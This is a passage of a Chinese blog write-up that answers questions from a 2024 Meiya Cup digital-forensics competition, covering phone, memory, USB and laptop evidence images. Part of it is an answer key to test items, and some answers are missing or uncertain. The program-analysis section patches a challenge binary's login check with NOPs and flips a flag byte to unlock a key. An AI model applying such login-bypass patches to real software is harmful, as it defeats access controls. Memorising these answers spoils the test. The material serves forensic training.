DCT）</p><p>。</p></li><li><p>缩略图预览（用于快速加载）</p><p><strong>​存储位置​</strong>​</p></li></ul></li></ol><ul><li><p>嵌入在JPEG文件的​<strong>​APP1段​</strong>​或TIFF文件的​<strong>​IFD结构​</strong>​（Image File Directory）中，位于文件头部</p><p>。</p></li><li><p>以​<strong>​标签-值​</strong>​形式存储（例如标签<code>0x829A</code>对应曝光时间）</p></li></ul><p>通俗讲在照片文件的头部会存储exif参数</p><h2 id="手机取证clara46-参考-clara_smartphonebin20240821_121435jpg-的储存路径是什么a-media0dcimcamerab-media1dcimcamerac-media00dcimcamerad-media11dcimcamera">手机取证（Clara）46: 参考 Clara_Smartphone.bin，20240821_121435.jpg 的储存路径是什么？A. /media/0/DCIM/Camera；B. /media/1/DCIM/Camera；C. /media/00/DCIM/Camera；D. /media/11/DCIM/Camera</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801002118393.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-095-a93d3b45a9.png"/></p><h2 id="手机取证clara47-参考-clara_smartphonebin2024-年-8-月-20-日有多少张截图">手机取证（Clara）47: 参考 Clara_Smartphone.bin，2024 年 8 月 20 日有多少张截图？</h2><p>4<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801002351614.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-096-158220bc74.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801002412751.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-097-251bd350b2.png"/></p><h2 id="手机取证clara48-参考-clara_smartphonebin2024-年-8-月-22-日被删除微信消息的类型是a-照片b-视频c-文本d-以上都不是">手机取证（Clara）48: 参考 Clara_Smartphone.bin，2024 年 8 月 22 日被删除微信消息的类型是？A. 照片；B. 视频；C. 文本；D. 以上都不是</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801003700920.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-098-9b89eb60e4.png"/><br/>搜了下recyclebin感觉不太对<br/>然后看聊天记录可以看出是偷偷拍的，所以是照片</p><h2 id="手机取证david-149-参考-david_smartphone_1zip根据-contentsdbdavid-手机接收了通讯软件-telegram-的验证短信该验证码是多少">手机取证（David 1）49: 参考 David_Smartphone_1.zip，根据 Contents.db，David 手机接收了通讯软件 "Telegram" 的验证短信，该验证码是多少？</h2><p>84298<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801133508451.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-099-6205fd2ea6.png"/></p><h2 id="手机取证david-150-参考-david_smartphone_1zipdavid-把手机设置为个人热点请找出个人热点的密码">手机取证（David 1）50: 参考 David_Smartphone_1.zip，David 把手机设置为个人热点，请找出个人热点的密码。</h2><p>wdfj5674</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801133523424.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-100-7f6b48012b.png"/></p><h2 id="手机取证david-151-参考-david_smartphone_1zipdavid-手机曾连接名为-mtr-free-wi-fi-的-wi-fi-判断题">手机取证（David 1）51: 参考 David_Smartphone_1.zip，David 手机曾连接名为 "MTR Free Wi-Fi" 的 Wi-Fi ？（判断题）</h2><p>是</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801133544372.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-101-afa738e59a.png"/></p><h2 id="手机取证david-152-参考-david_smartphone_1zip根据-comtencentmm_preferencesxmldavid-的手机最后登录微信的微信-id-是">手机取证（David 1）52: 参考 David_Smartphone_1.zip，根据 com.tencent.mm_preferences.xml，David 的手机最后登录微信的微信 ID 是？</h2><p><strong>wxid_rni3m2o8ngxe22​</strong>​<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801133812048.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-102-6c87e16348.png"/><br/>手机最后一次登录微信的微信 ID 可以再com.tencent.mm_preferences.xml文件中从键 <code>&lt;string name="login_weixin_username"&gt;</code> 获取</p><h2 id="手机取证david-153-参考-david_smartphone_1zip请指出哪一张图片是于-2024-年-8-月-28-日利用屏幕截取的格式abc_123jpg">手机取证（David 1）53: 参考 David_Smartphone_1.zip，请指出哪一张图片是于 2024 年 8 月 28 日利用屏幕截取的。（格式：ABC_123.jpg）</h2><p>Screenshot_20240828-153836_Gmail.jpg<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801135924112.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-103-bab2b161ff.png"/></p><h2 id="手机取证david-154-参考-david_smartphone_1zip根据-contentsdbdavid-手机的型号-model大写英文字母和符号---混合">手机取证（David 1）54: 参考 David_Smartphone_1.zip，根据 Contents.db，David 手机的型号 (Model)？（大写英文字母和符号 '-' 混合）</h2><p>SM-G9500<br/>xwf搜model第一个就在content.db里面，打开  <img alt="assets/2024美亚杯个人赛Joyooo/file-20250801141204667.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-104-e9638a0c54.png"/></p><h2 id="手机取证david-155-参考-david_smartphone_1zip-的-contentsdbdavid-所使用的手机-sim-卡的序号只阿拉伯数字">手机取证（David 1）55: 参考 David_Smartphone_1.zip 的 Contents.db，David 所使用的手机 SIM 卡的序号？（只阿拉伯数字）</h2><p>8985200000827530728<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801141324881.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-105-8aa8ba215a.png"/></p><h2 id="手机取证david-156-参考-david_smartphone_1zipdavid-手机安装了应用程序-metamask根据-persist-root-中metamask-钱包内有多少个账号">手机取证（David 1）56: 参考 David_Smartphone_1.zip，David 手机安装了应用程序 "MetaMask"。根据 persist-root 中，"MetaMask" 钱包内有多少个账号？</h2><p>4<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801141512812.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-106-8b45b2f84c.png"/>比较像，去找db没找到<br/>换换思路，日才发现题目给了提示，persist-root<br/>找到该文件下下来<img alt="assets/2024美亚杯个人赛Joyooo/file-20250801143309569.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-107-de5faa375e.png"/><br/>搜accont最多只有accont4，所以四个</p><h2 id="手机取证david-157-参考-david_smartphone_1zip根据-persist-root-中何时从应用程序-metamask-发送虚拟货币至地址-0x10a4f01b80203591ccee76081a4489ae1cd1281ca-2024-08-11-1249-gmt8b-2024-08-14-1658-gmt8c-2024-08-14-1659-gmt8d-2024-08-16-1724-gmt8">手机取证（David 1）57: 参考 David_Smartphone_1.zip，根据 persist-root 中，何时从应用程序 "MetaMask" 发送虚拟货币至地址: 0X10A4F01B80203591CCEE76081A4489AE1CD1281C？A. 2024-08-11 12:49 (GMT+8)；B. 2024-08-14 16:58 (GMT+8)；C. 2024-08-14 16:59 (GMT+8)；D. 2024-08-16 17:24 (GMT+8)</h2><p>B<br/>一搜这一长串<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801143523018.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-108-da03e54f29.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801143711314.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-109-c72268d3f1.png"/></p><h2 id="手机取证david-158-参考-david_smartphone_1zipdavid-曾利用手机应用程序-metamask-三次发送虚拟货币失败根据-persist-root发送虚拟货币失败的原因是什么a-网络连接问题b-应用程序权限被拒c-接收地址错误d-手续费不足">手机取证（David 1）58: 参考 David_Smartphone_1.zip，David 曾利用手机应用程序 "MetaMask" 三次发送虚拟货币失败。根据 persist-root，发送虚拟货币失败的原因是什么？A. 网络连接问题；B. 应用程序权限被拒；C. 接收地址错误；D. 手续费不足</h2><p>D<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801143940200.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-110-a1472e9ac5.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801144237265.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-111-57c6445593.png"/><br/>再搜一下gas费用<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801144318352.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-112-61e35bcbb1.png"/><br/>那明白了</p><h2 id="内存取证david-笔记本59-参考-ram_capture_david_laptopraw以下哪一个不是程序-firefoxexe-的-pida-9240b-8732c-5260d-3108">内存取证（David 笔记本）59: 参考 RAM_Capture_David_Laptop.RAW，以下哪一个不是程序 "firefox.exe" 的 PID？A. 9240；B. 8732；C. 5260；D. 3108</h2><p>D<br/>PID看CSV结果<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250802122244756.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-113-bb501461d3.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250802122229619.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-114-6a109aa813.png"/></p><h2 id="内存取证david-笔记本60-参考-ram_capture_david_laptopraw汇出-pid724-的程序其哈希值-sha-256-是">内存取证（David 笔记本）60: 参考 RAM_Capture_David_Laptop.RAW，汇出 PID：724 的程序，其哈希值 (SHA-256) 是？</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250802122337099.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-115-8bf17efd86.png"/><br/>把镜像</p><h2 id="内存取证david-笔记本61-参考-ram_capture_david_laptopraw哪一个是执行-pid724-程序的-sida-s-1-1-0b-s-1-2-0c-s-1-5-21-1103701427-1706751984-2965915307-1001d-s-1-5-21-1103701427-1706751984-2965915307-513">内存取证（David 笔记本）61: 参考 RAM_Capture_David_Laptop.RAW，哪一个是执行 PID：724 程序的 SID？A. S-1-1-0；B. S-1-2-0；C. S-1-5-21-1103701427-1706751984-2965915307-1001；D. S-1-5-21-1103701427-1706751984-2965915307-513</h2><h2 id="内存取证david-笔记本62-参考-ram_capture_david_laptopraw账户-david-tenth-的-nt-lan-manager-的哈希值-ntlm-hash小写及阿拉伯数字">内存取证（David 笔记本）62: 参考 RAM_Capture_David_Laptop.RAW，账户 David Tenth 的 NT LAN Manager 的哈希值 (NTLM Hash)？（小写及阿拉伯数字）</h2><h2 id="u-盘取证david63-参考-david_usb_8gbe01david-的-u-盘文件系统的格式a-ntfsb-fat32c-exfatd-refs">U 盘取证（David）63: 参考 David_USB_8GB.e01，David 的 U 盘文件系统的格式？A. NTFS；B. FAT32；C. exFAT；D. ReFS</h2><p>小看了一下发现bitlocker的key在这u盘里<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801153959422.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-116-3840b081de.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801154041439.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-117-e986e0470e.png"/></p><h2 id="u-盘取证david64-参考-david_usb_8gbe01david-的-u-盘文件系统中每簇-cluster-定义了多少字节-bytea-128b-256c-512d-1024">U 盘取证（David）64: 参考 David_USB_8GB.e01，David 的 U 盘文件系统中，每簇 (Cluster) 定义了多少字节 (Byte)？A. 128；B. 256；C. 512；D. 1024</h2><p>C<br/>进行磁盘快照，右键看到一些配置信息<br/>Bytes per sector: 512</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801165228925.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-118-274bfa3d12.png"/><br/>也可以点技术细节报告，在磁盘快照那一栏里<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801165340315.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-119-a893b5f51b.png"/></p><h2 id="u-盘取证david65-参考-david_usb_8gbe01david-的-u-盘中有多少个已删除的文件a-1b-2c-3d-4">U 盘取证（David）65: 参考 David_USB_8GB.e01，David 的 U 盘中有多少个已删除的文件？A. 1；B. 2；C. 3；D. 4</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801165555644.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-120-fc92f13444.png"/><br/>就一个看描述栏</p><h2 id="u-盘取证david66-承上题参考-david_usb_8gbe01已删除的文件的运行列表-run-list-的运行偏移量-run-offset-数量是多少a-16b-32c-64d-128">U 盘取证（David）66: 承上题，参考 David_USB_8GB.e01，已删除的文件的运行列表 (Run List) 的运行偏移量 (Run Offset) 数量是多少？A. 16；B. 32；C. 64；D. 128</h2><p>C<br/>64<br/>第一次听，长见识了，来自小谢取证的wp：<br/>考点：首先该文件系统为NTFS，</p><p>解题步骤：右键该文件-导航-转至文件记录（即查看该文件的MFT文件记录）<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804143746231.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-121-152de424f4.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804143818236.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-122-1f8ac14420.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/89f744474c658f907b88bbba65a24bc2.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-123-2c5d128fd8.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/84edd19c193a52b8ced32d99ad112bbf.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-124-311e506b12.png"/><br/>属性列表（list）：为MFT记录的主体，长度可变，起始偏移为0x30（相对于记录首字节的偏移），用于存放文件各种属性（大小、位置、时间等）。常见的是标准属性（0x10）、文件名属性（0x30）、数据流属性（0x80）和位图属性（0xB0）等，一个文件记录至少包含0x10和0x30属性。而每一属性又都有属性头(header)和属性体（body）的结构。MFT的结束标志为0x FF FF FF FF。</p><p>如果想查看属性列表所代表的含义，可以使用“查看”-“模版管理器”<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804144132261.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-125-4e9ef2526a.png"/><br/>应为是ntfs模版所以我们选这个模版<br/><img alt="assets/2024美亚杯个人赛Joyooo/c2fafbfdd0018e70c2bf0e0527dde85d.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-126-874938a121.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/6b3d02db5e5f147ec8837da3ce7ee8ad.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-127-44378a1284.png"/><br/>◇属性分常驻属性和非常驻属性：<img alt="assets/2024美亚杯个人赛Joyooo/913c46198d1e33d2c565511d539fbbfc.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-128-c2c26df6ce.png"/><br/>ps（这里其实就看出来这道题该怎么做了）</p><p>(1)小文件和目录将全部（内容或索引信息）存储在MFT基本的文件记录里，其属性就称为常驻属性（residentattribute）。标准信息、文件名和索引根等属性总是常驻属性。NTFS对常驻属性的访问时间短。</p><p>(2)大文件（目录）如果属性值超过1KB时，在基本的文件记录中就用一个指针指向MFT基本文件记录之外的一个外部簇，以此形成B-Tree（B＋树）结构。值存储在运行中而不是在MFT文件记录中的属性称为非常驻属性（nonresidentattribute）。</p><p>常驻属性和非常驻属性的判断方法为查看属性头的偏移（16进制）08是01还是00。00表示为常驻，01表示非常驻。所以此题我们参考非常驻属性头的分析表</p><p>属性头（Header）对照表：<br/><img alt="assets/2024美亚杯个人赛Joyooo/ce39833467f9871144d13151aa12f1b6.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-129-031bdfe453.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/115410961944c608e197a15e7a5ad7f0.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-130-6ceefe1580.png"/><br/>回到题目当中，先定位到0x80，其后为DataRun数据。</p><p>已删除的文件的运行列表(Run List)的运行偏移量(Run Offset)数量是0x40，十进制为64。</p><h2 id="u-盘取证david67-承上题参考-david_usb_8gbe01已删除文件的第一个运行的十六进制值-低端字节序-little-endian-是多少a-0x4c3f0db522b-0x4c3f0d22b5c-0x224c3f0db5d-0x3f4c0db522">U 盘取证（David）67: 承上题，参考 David_USB_8GB.e01，已删除文件的第一个运行的十六进制值 (低端字节序 Little-Endian) 是多少？A. 0x4C3F0DB522；B. 0x4C3F0D22B5；C. 0x224C3F0DB5；D. 0x3F4C0DB522</h2><p>A<br/>鼠标停留在0x22后显示data runs 依据小端法，答案为0x0x4C3F0DB522<img alt="assets/2024美亚杯个人赛Joyooo/2c6b767cc8fc300ecf2ad73489aa6050.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-131-564e2e02ab.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804151913801.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-132-87e6c08f7b.png"/></p><h2 id="u-盘取证david68-承上题参考-david_usb_8gbe01已删除的文件的实际大小-单位字节-byte-是多少阿拉伯数字">U 盘取证（David）68: 承上题，参考 David_USB_8GB.e01，已删除的文件的实际大小 (单位：字节 Byte) 是多少？（阿拉伯数字）</h2><p>1796178</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801180054068.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-133-adb0889f04.png"/></p><h2 id="u-盘取证david69-承上题参考-david_usb_8gbe01已删除文件的第一个运行偏移量-run-offset-是多少阿拉伯数字">U 盘取证（David）69: 承上题，参考 David_USB_8GB.e01，已删除文件的第一个运行偏移量 (Run Offset) 是多少？（阿拉伯数字）</h2><p>19519<br/>解题思路：</p><p>运行偏移量是由NTFS系统下的DateRun格式决定的，例如，在此题中</p><p><code>Data runs:</code></p><p><code>22 B5 0D 3F 4C</code></p><p><code>Run 1:</code></p><p><code>Header = 0x22 - 2 byte length, 2 byte offset</code></p><p><code>Length = 0x0DB5 (2 byte)</code></p><p><code>Offset = 0x4C3F (2 bytes)</code></p><p><code>所以run offset 为0x4C3F，十进制为19519</code></p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20251107095812684.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-134-06c64f802d.png"/><br/>MFT非常驻属性结构</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20251107095825910.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-135-c9f1fd3559.png"/><br/>上图中，“3”代表簇流起始簇号的0x02AD0B的3个字节，“2”代表的簇流长度的簇流长度的0x0388的2个字节。题干中的运行偏移量即为簇流的起始簇号，即该文件内容的起始扇区位置。</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20251107095851997.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-136-b192cdf8f6.png"/></p><p>Run Length为0x0DB5 十进制为3509</p><p>这题可以理解为该文件内容的起始扇区位置，所以查看详情即可。</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20251107095913325.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-137-6ca79ce0f8.png"/></p><h2 id="u-盘取证david70-承上题参考-david_usb_8gbe01已删除的文件的第一个运行的簇运行长度-run-length-是多少a-2408b-3509c-3128d-4021">U 盘取证（David）70: 承上题，参考 David_USB_8GB.e01，已删除的文件的第一个运行的簇运行长度 (Run Length) 是多少？A. 2408；B. 3509；C. 3128；D. 4021</h2><p>B<br/>同上</p><h5 id="71-单选题-承上题参考david_usb_8gbe01已删除文件的图像文件像素值pixel是多少-2分">71. [单选题] 承上题,参考David_USB_8GB.e01,已删除文件的图像文件像素值(Pixel)是多少? (2分)</h5><p>A. 1000 x 2000</p><p>B. 2000 x 3000</p><p>C. 3000 x 4000</p><p>D. 4000 x 5000<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804152730767.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-138-6021b43556.png"/><br/>pixel信息是有的</p><h5 id="72-单选题-承上题参考david_usb_8gbe01已删除图像文件是用哪个品牌和型号的手机拍摄-2分">72. [单选题] 承上题,参考David_USB_8GB.e01,已删除图像文件是用哪个品牌和型号的手机拍摄? (2分)</h5><p>C<br/>A. SAMSUNG SM-A425</p><p>B. SAMSUNG SM-A4580</p><p>C. SAMSUNG SM-A4260</p><p>D. SAMSUNG SM-A5G<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804152844362.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-139-98aeac8c5c.png"/></p><h2 id="程序分析david-u-盘72-参考-david_usb_8gbe01使用-x64dbg-的字符串搜索功能在-bitlockerexe-中查找哪个字符串最有可能与显示的登录状态有关">程序分析（David U 盘）72: 参考 David_USB_8GB.e01，使用 x64dbg 的字符串搜索功能，在 Bitlocker.exe 中查找哪个字符串最有可能与显示的登录状态有关？</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806130337900.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-140-cbde993056.png"/><br/>运行一下，然后dbg里“文件”——“附加”选中以后<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806130454013.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-141-4b2398221e.png"/><br/>空白处右键，<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806130526326.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-142-8b79c55553.png"/><br/>然后就可以看得到<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806130556872.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-143-799af42aa8.png"/><br/>感觉是login successful</p><h2 id="程序分析david-u-盘73-承上题当找到控制登录成功的逻辑代码时如何修改汇编代码来绕过检查达到任意输入都成功登录的效果">程序分析（David U 盘）73: 承上题，当找到控制登录成功的逻辑代码时，如何修改汇编代码来绕过检查，达到任意输入都成功登录的效果？</h2><p>用ida打开<br/>先看字符串里看到有类似账号密码的<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806131308473.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-144-65d5ea356a.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806131323312.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-145-8a1f5ebed9.png"/><br/>双击进来，然后双击后面的sub看逻辑<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806131431777.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-146-71b9e68a9f.png"/><br/>问问ai</p><pre><code class="language-assembly">; 修改字符串比较后的跳转指令LABEL_6:nop                      ; 原始指令：test v5, v5 -&gt; 条件跳转nop                      ; 用NOP填充指令空间（根据实际指令长度调整）nop                      ; ; 原始代码：if (v5) goto FAILURE; 修改后：无条件跳过失败分支LABEL_12:nop                      ; 原始指令：test v9, v9 -&gt; 条件跳转nop                      ; nop                      ; ; 原始代码：if (v9) goto FAILURE; 修改后：无条件跳过失败分支</code></pre><h2 id="程序分析david-u-盘75-参考-david_usb_8gbe01bitlockerexe-的正确用户登录名称是">程序分析（David U 盘）75: 参考 David_USB_8GB.e01，Bitlocker.exe 的正确用户登录名称是？</h2><p>david1337<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806131759382.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-147-0297cb7d17.png"/><br/>一般先账号后密码<br/>账号是david1337</p><h2 id="程序分析david-u-盘76-参考-david_usb_8gbe01bitlockerexe-的正确登录密码是">程序分析（David U 盘）76: 参考 David_USB_8GB.e01，Bitlocker.exe 的正确登录密码是？</h2><p>1337david<br/>同上</p><h2 id="77-单选题-参考david_usb_8gbe01当bitlockerexe程序尝试显示登录结果成功或失败时使用了哪一种途径来决定显示的消息-2分">77. [单选题] 参考David_USB_8GB.e01,当Bitlocker.exe程序尝试显示登录结果（成功或失败）时,使用了哪一种途径来决定显示的消息? (2分)</h2><p><strong>​基于字符串比较结果的二元条件跳转​</strong><br/>ai神力​</p><h1 id="78-单选题-参考david_usb_8gbe01决定能否解密-bitlocker-key-的字节的内存偏移量memory-offset相对于基址bitlockerexe是什么-3分">78. [单选题] 参考David_USB_8GB.e01,决定能否解密 Bitlocker Key 的字节的内存偏移量(Memory Offset)（相对于基址"bitlocker.exe"）是什么? (3分)</h1><p>逻辑是先找到判断的代码（带if），然后看到14<br/>开的头知道是表示偏移量，后四个字节就是相对于基地址的偏移量<br/>0x表示十六进制<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806132806896.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-148-0d99eb6145.png"/></p><p>结果为<code>0x808C</code></p><h1 id="79-单选题-参考david_usb_8gbe01决定能否解密-bitlocker-key-的内存偏移量memory-offset后应该如何利用它来进行解密-2分">79. [单选题] 参考David_USB_8GB.e01,决定能否解密 Bitlocker Key 的内存偏移量(Memory Offset)后,应该如何利用它来进行解密? (2分)</h1><p><code>将该偏移量处的值改为 1 (true),以启用解密过程</code><br/>找到变量<code>byte_14000808C</code>，确保其为1</p><h2 id="程序分析david-u-盘80-参考-david_usb_8gbe01解密后的-bitlocker-key-是a-299255-418649-198198-616891-099682-482306-642609-483527b-745823-918273-564738-290183-475920-182736-594827-162839c-539823-847291-094857-194756-382910-472918-482937-120984d-829384-192837-475910-298374-019283-847362-564738-293847">程序分析（David U 盘）80: 参考 David_USB_8GB.e01，解密后的 Bitlocker Key 是？A. 299255-418649-198198-616891-099682-482306-642609-483527；B. 745823-918273-564738-290183-475920-182736-594827-162839；C. 539823-847291-094857-194756-382910-472918-482937-120984；D. 829384-192837-475910-298374-019283-847362-564738-293847</h2><p>A<br/>299255-418649-198198-616891-099682-482306-642609-483527<br/>之前的照片里给了答案<br/>当然也可以动态调试，把偏移量改为一，断点法也能出来，不过我不会，回头请教一下。</p><h2 id="笔记本取证david81-参考-david_laptop_64gbe01分区格式-partition-是a-mbrb-gptc-raw">笔记本取证（David）81: 参考 David_Laptop_64GB.e01，分区格式 (Partition) 是？A. MBR；B. GPT；C. RAW</h2><p>B<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804160107165.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-149-ec533d06a8.png"/></p><h2 id="笔记本取证david82-参考-david_laptop_64gbe01該-e01-成功提取的日期和时间是a-2024-09-05-155528b-2024-09-02-115231c-2024-09-03-143728d-2024-09-03-121649">笔记本取证（David）82: 参考 David_Laptop_64GB.e01，該 e01 成功提取的日期和时间是？A. 2024-09-05 15:55:28；B. 2024-09-02 11:52:31；C. 2024-09-03 14:37:28；D. 2024-09-03 12:16:49</h2><p>如果这个不对的话那没找到QWQ<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804160244818.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-150-e7067c923f.png"/></p><h2 id="笔记本取证david83-参考-david_laptop_64gbe01最后登录的用户是谁大小写字母和空格混合">笔记本取证（David）83: 参考 David_Laptop_64GB.e01，最后登录的用户是谁？（大小写字母和空格混合）</h2><p>David Tenth<br/>是大卫带<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804160447691.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-151-03d56883f9.png"/></p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804161000560.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-152-d83c34eb20.png"/>这里也看得到</p><h2 id="笔记本取证david84-参考-david_laptop_64gbe01用户配置的时区是a-australian-central-timeb-china-standard-timec-new-zealand-standard-timed-nepal-time">笔记本取证（David）84: 参考 David_Laptop_64GB.e01，用户配置的时区是？A. Australian Central Time；B. China Standard Time；C. New Zealand Standard Time；D. Nepal Time</h2><p>B<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804160524819.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-153-bd1fc92e67.png"/></p><h2 id="笔记本取证david85-参考-david_laptop_64gbe01david-的笔记本电脑曾經连接了多少个设备a-1b-2c-3d-4">笔记本取证（David）85: 参考 David_Laptop_64GB.e01，David 的笔记本电脑曾經连接了多少个设备？A. 1；B. 2；C. 3；D. 4</h2><p>C<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250804160558303.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-154-e5a09e7426.png"/></p><h2 id="笔记本取证david86-参考-david_laptop_64gbe01david-的笔记本电脑上的-firefox-浏览器安装了哪些扩展工具大写英文字母">笔记本取证（David）86: 参考 David_Laptop_64GB.e01，David 的笔记本电脑上的 Firefox 浏览器安装了哪些扩展工具？（大写英文字母）</h2><p>METAMASK<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806152710865.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-155-5688e91cdb.png"/></p><h2 id="笔记本取证david87-参考-david_laptop_64gbe01根据用户配置文件中的lnk-文件最后访问的文件名称是a-下載b-export-tokenc-ram_capture_davidd-本機磁碟-e-2">笔记本取证（David）87: 参考 David_Laptop_64GB.e01，根据用户配置文件中的.lnk 文件，最后访问的文件名称是？A. 下載；B. export-token；C. RAM_Capture_DaviD；D. 本機磁碟 (E) (2)</h2><p>B<br/>看recent文件可看到是b</p><h1 id="通过-powershell-列出文件路径">通过 PowerShell 列出文件路径</h1><pre><code>Get-ChildItem "$env:APPDATA\Microsoft\Windows\Recent" -Filter *.lnk | ForEach-Object &#123;     $shell = New-Object -ComObject WScript.Shell    $shortcut = $shell.CreateShortcut($_.FullName)    $shortcut.TargetPath&#125;</code></pre><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806154254426.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-156-e4c42d1c91.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806154359847.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-157-ff5a6b2d3a.png"/></p><h2 id="笔记本取证david88-参考-david_laptop_64gbe01david-的笔记本电脑曾經连接了多少个不同的-wi-fia-1b-2c-3d-4">笔记本取证（David）88: 参考 David_Laptop_64GB.e01，David 的笔记本电脑曾經连接了多少个不同的 Wi-Fi？A. 1；B. 2；C. 3；D. 4</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250806154551379.png" loading="lazy" 